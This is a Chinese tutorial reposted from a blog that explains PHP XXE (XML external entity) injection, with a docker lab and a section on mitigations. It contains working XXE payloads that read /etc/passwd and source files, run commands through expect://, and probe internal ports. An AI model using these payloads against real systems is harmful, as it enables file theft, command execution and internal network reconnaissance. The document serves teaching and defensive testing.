zoukankan      html  css  js  c++  java
  • PHP XXE漏洞

    PHP xml 外部实体注入漏洞(XXE)

    1.环境

    PHP 7.0.30
    Libxml 2.8.0
    Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用

    2.原理介绍

    XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

    3.漏洞危害

    3.1读取任意文件

    file 协议,file:///etc//passwd
    php 协议,php://filter/read=convert.base64-encode/resource=index.php 

    3.2执行系统命令

     部分情况会有,在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。简单payload如下

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://ifconfig" >]>
    <root>
    <name>&xxe;</name>
    </root>

    3.3探测内网端口

     借助漏洞实现内网探测,常见payload如下:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
    <root>
    <name>&xxe;</name>
    </root>

    3.4攻击内网网站(dos或者直接吃服务器资源导致无法正常服务)

    4.测试

    启动并且编译环境
    docker-compose up -d

    看见done后,访问http://192.168.5.136:8080.index.php 可以看到phpinfo,libxml即可看到其版本为2.8.0。

    Web目录位www有四个文件

    ├── dom.php # 示例:使用DOMDocument解析body
    ├── index.php
    ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
    └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
    dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
    源码如下:

    XXE示例 payload
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>

    可以看到读取到了,root下的信息

    5.解决方案和建议

    5.1 使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    
    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    5.2 过滤用户提交的XML数据

    如:<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC

    参考

    https://security.tencent.com/index.php/blog/msg/69

    https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

    https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)

    未来工作 

    实战的配图加上

  • 相关阅读:
    HDFS snapshot操作实战
    不是技术牛人,如何拿到国内IT巨头的Offer(转载)
    HBase的RowKey设计原则
    hbase shell 基本命令总结
    13_Python数据类型字符串加强_Python编程之路
    监督学习与无监督学习的区别_机器学习
    12_Python的(匿名函数)Lambda表达式_Python编程之路
    Python数据挖掘_Python2模块Spynner的安装(安装失败)
    06_Linux目录文件操作命令3查找命令_我的Linux之路
    python数据挖掘_Json结构分析
  • 原文地址:https://www.cnblogs.com/Rightsec/p/10263454.html
Copyright © 2011-2022 走看看